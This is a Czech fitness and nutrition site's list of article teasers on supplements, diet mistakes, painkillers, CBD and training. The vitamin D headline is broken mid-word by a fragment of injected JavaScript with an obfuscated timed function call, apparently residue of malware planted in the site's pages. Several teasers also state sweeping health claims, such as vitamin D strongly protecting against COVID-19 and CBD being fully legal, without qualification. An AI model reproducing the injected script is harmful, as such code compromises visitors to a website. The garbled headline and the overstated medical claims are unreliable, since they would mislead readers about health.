• Výživa

    PŘÍRODNÍ CESTOU K LEPŠÍ VÝKONNOSTI A SILNĚJŠÍ IMUNITĚ

      Z mistrovství světa v multitaskingu by si příroda bezpochyby odvezla medaili. Je na slovo vzatým odborníkem na víceúčelovost a efektivitu. Když budete hledat přírodní prostředek ke zlepšení sportovní výkonnosti, který současně posiluje imunitu, máte rozhodně z čeho vybírat. Za zmínku určitě stojí…   KURKUMA Oblíbené exotické koření vyniká především protizánětlivými účinky. Jeho účinná látka – kurkumin – je totiž velmi silným antioxidantem. Tím pádem z hlediska výkonnosti urychluje regeneraci a umožní sportovci realizovat další náročný trénink dříve + s dostatečným nasazením. Co se týče posílení imunitního systému, máme k dispozici studie, které nám ukazují, že kurkumin podávaný ve formě suplementu podporuje celou řadu imunitních reakcí, a navíc tlumí nárůst množství zánětlivých látek ve střevech.  …

  • Výživa

    Vitamin D – PILÍŘ VAŠÍ IMUNITY a také jeden z důležitých “bojovníků“ v pandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andemii COVID-19

    Připravila: Petra Schäferová V posledních měsících proběhlo několik lékařských studií dokazujících spojitost dostatečné hladiny vitaminu D v organismu a schopnosti těla ubránit se nákaze virem COVID-19. V případě vypuknutí nemoci pak dostatek vitaminu D v těle výrazně zvyšuje šanci na bezpříznakový či lehký průběh nemoci.  Vitamin D zabezpečuje v těle velké množství důležitých funkcí, mezi než patří nejen metabolismus vápníku a fosforu, regulace krevního tlaku, nespočet buněčných procesů, ale právě i fungování imunity. CO NA TO ODBORNÍCI? Prestižní vědecký časopis The Lancet zveřejnil 3. srpna 2020 článek „Vitamin D for COVID-19: a case to answer?“, v němž zdůrazňuje, že vitamin D se v prevenci či léčbě akutních respiračních infekcí používá již od…

  • Výživa

    3 DIETNÍ CHYBY, KTERÉ BRZDÍ VAŠE POKROKY

    Kdo z vás má pocit, že dává do sestavení a udržení jídelníčku maximum, a přesto nejde všechno podle vašich představ? Neblokuje váš progres některá z těchto skrytých, a přitom tak zrádných chyb?   MÁTE HRŮZU Z TUKŮ Drastická eliminace tuků ze stravy může být překvapivě kontraproduktivní. Nedostatek vhodných tuků totiž škodí víc, než si možná umíte představit. V čem nám zdravé tuky prospívají? Dříve tak propagovaný trik, abyste hlad potlačili pomocí žvýkačky, je podle odborníků mýtus. Hned několik studií totiž prokázalo, že díky žvýkačce možná nebudete tolik hřešit mezi jídly, ale jste vystaveni většímu riziku zvýšeného kalorického příjmu. Jednoduše řečeno – hrozí, že toho pak sníte víc, než kdybyste před tím nežvýkali.   Místo…

  • Výživa

    MOHOU LÉKY NA BOLEST NARUŠIT BUDOVÁNÍ HMOTY?

    Dáte si někdy při tréninku tolik do těla, že druhý den ráno automaticky sáhnete po růžové záchraně v podobě oblíbeného léku na bolest? A napadlo vás někdy, že to nemusí prospívat nárůstu svalů? Nejspíš jste se nad tím nikdy nezamýšleli a bolest byla natolik silná, že jste s pilulkou v ruce nezaváhali ani okamžik. Co kdyby vám ale někdo řekl, že když tu bolest vydržíte nebo utlumíte nějakým jiným prostředkem, dosáhnete lepších výsledků? Sportovci všech úrovní používají volně prodejné nesteroidní protizánětlivé léky překvapivě často. Nejpopulárnější účinnou látkou je bezesporu ibuprofen, skýtající nejenom úlevu od bolesti, ale také možnost utlumit zánětlivé procesy. Již v roce 2017 ovšem vědci ze švédského Institutu Karolinska uzavřeli svou studii…

  • Tréninky,  Výživa

    SEDMERO ZÁKONŮ SVALOVÉHO RŮSTU

    Dodržujte je a během tří měsíců dosáhnete výrazného nárůstu svalové hmoty. Za šest měsíců si všimnete nepřehlédnutelných změn v podobě kvalitní muskularity. DŮSLEDNOST V TRÉNINKU To je nejdůležitější faktor všech úspěšných cvičebních programů. Často si myslíme, že někdo dosahuje kvalitních výsledků, protože má „skvělou genetiku“. To sice také může být pravda, ale úspěšní bývají především ti sportovci, kteří vynikají ve vytrvalosti, soustředění a důslednosti….a to jak v posilovně, tak v kuchyni. Bez ohledu na vaše genetické schopnosti budovat svalovou hmotu, většinou můžete nabrat více svalů, než se vám kdy snilo, když budete v tréninku dostatečně důslední. Základem je pravidelný trénink týden za týdnem, měsíc po měsíci, celý rok. 2. STRAVA Musíte jíst vhodná jídla s železnou…

  • Výživa

    SÍLA HOŘČÍKU

    Jeden z nejvíce podceňovaných minerálů – hořčík, je pro udržení pevného zdraví a optimální výkonnosti naprosto nezbytný. Víte, jak ho doplnit?   Minerály jsou pro naše zdraví velmi důležité, protože zajišťují správnou aktivaci nervového systému i svalů. Regulují metabolismus, udržují pH a umožňují transport živin buněčnými membránami. Je zcela zásadní, abyste každý den přijímali potřebné množství těchto látek, bohužel bývá v praxi situaci poněkud jiná. „Realita je taková, že půda, v níž pěstujeme řadu plodin, už není tak bohatá na živiny, jako tomu bylo dřív,“ říká Carolyn Dean, M. D., ND, členka Nutritional Magnesium Association a autorka knihy The Magnesium Miracle (Ballantine Books 2017). „Většina moderních zemědělských technik využívá chemické látky a pesticidy,…

  • Výživa

    CBD V 10 OTÁZKÁCH…                          …A ODPOVĚDÍCH

      Co se skrývá pod tajemnou zkratkou? Jaké výzkumy potvrzují účinky CBD? Co můžeme od užívání produktů s obsahem kanabidiolu očekávat?   CO JE CBD? Touto zkratkou označujeme kanabidiol, látku přirozeně se vyskytující v konopí. Patří do skupiny tzv. kanabinoidů. Stejně jako známé THC má i CBD vysoký terapeutický potenciál ověřený mnoha studiemi. Na rozdíl od THC (tetrahydrokanabinolu) ovšem nemá psychoaktivní účinky a je 100% legální. K JAKÝM ÚČELŮM SE CBD NEJČASTĚJI POUŽÍVÁ? V současné době to jsou především: zmírnění zánětu, harmonizace přirozených procesů těla, podpora regenerace, tlumení bolesti, poruchy spánku i trávení. Do budoucna se ovšem otevírá mnohem širší terapeutické použití. JE JEHO POUŽITÍ LEGÁLNÍ? Ano, CBD je schváleným doplňkem stravy a není…

  • Tréninky,  Výživa

    LÉTO V SUPER FORMĚ

    Připravil: Tomáš Novotný, lektor Trenérské školy Olympia Kdy jindy do toho pořádně šlápnout než během léta.  Jak ale jednotlivé pohybové aktivity nakombinovat , aby to přineslo vysněné výsledky? Naučte se zvládat cviky s vlastní vahou, nebojte se ani zátěží v posilovně a naplánujte si letní sporty tak, aby se ve vašem týdenním režimu ideálně doplňovaly. Jak na vyrýsovanou postavu? Mnoho lidí běhá, cvičí nebo jezdí na kole téměř závodním tempem, ovšem jejich cílem není vyhrát olympiádu, chtějí jen dobře vypadat. Co to ale ve skutečnosti znamená? Vypadat dobře se totiž nedá vyčíslit v kilogramech na váze – ve skutečnosti si pod tím představujeme spíše něco jako zpevněnou postavu se štíhlým pasem a plochým…

  • Tréninky,  Výživa

    BEZ PRÁCE NEJSOU BŘICHÁČE

    Jak vyrýsovat břišní svaly? Máme pro vás pár tipů. Vyrýsované břicho a dokonalý „V“ tvar trupu – po tom touží každý. Ale jak toho skutečně dosáhnout? To a mnohem více se dozvíte v našem článku. Kdo by nechtěl pořádné břicháče – je za tím ale vážně spousta dřiny. Neznamená to totiž, že když budete cvičit sklapovačky, trénovat každý den a dopovat se suplementy, zákonitě dosáhnete cíle. Naopak – jen cviky na břicho v tomto případě nepomohou! Svaly se sice zpevní, ale stále budou schované pod tukovou vrstvou. A právě té je potřeba se zbavit. Cesta k plochému břichu vede přes trpělivost, pevnou vůli a dodržování několika základních pravidel. Znáte je? Vsaďte na zdravou…

  • Výživa

    NAKRMTE SVOJE SVALY

    POKUD SE SNAŽÍTE BUDOVAT SVALOVOU HMOTU, ZAČNĚTE TÍM, ŽE NA VAŠEM TALÍŘI NEBUDOU CHYBĚT NÁSLEDUJÍCÍ POTRAVINY.   KDYBY BYLO BUDOVÁNÍ SVALŮ SNADNÉ, pak by všude kolem nás chodili svalovci. V reálu se na cestě k budování hmoty stále vyskytují nějaké překážky, tudíž nejde o nijak jednoduchý proces. Zejména, co se týče výživy. Ačkoliv jistě dobře znáte zásady kulturistické stravy, sestavili jsme pro vás seznam některých často přehlížených potravin, které mohou budování svalové hmoty skvěle podpořit a pomoci vám tak dosáhnout vašich cílů. Jednotlivé položky jsme rozdělili do tří levelů podle jejich priority. V prvním levelu je volba zaměřená na základní makronutriční látky. Ve druhém se zaměřujeme na dostatek energie nutné ke zvládnutí…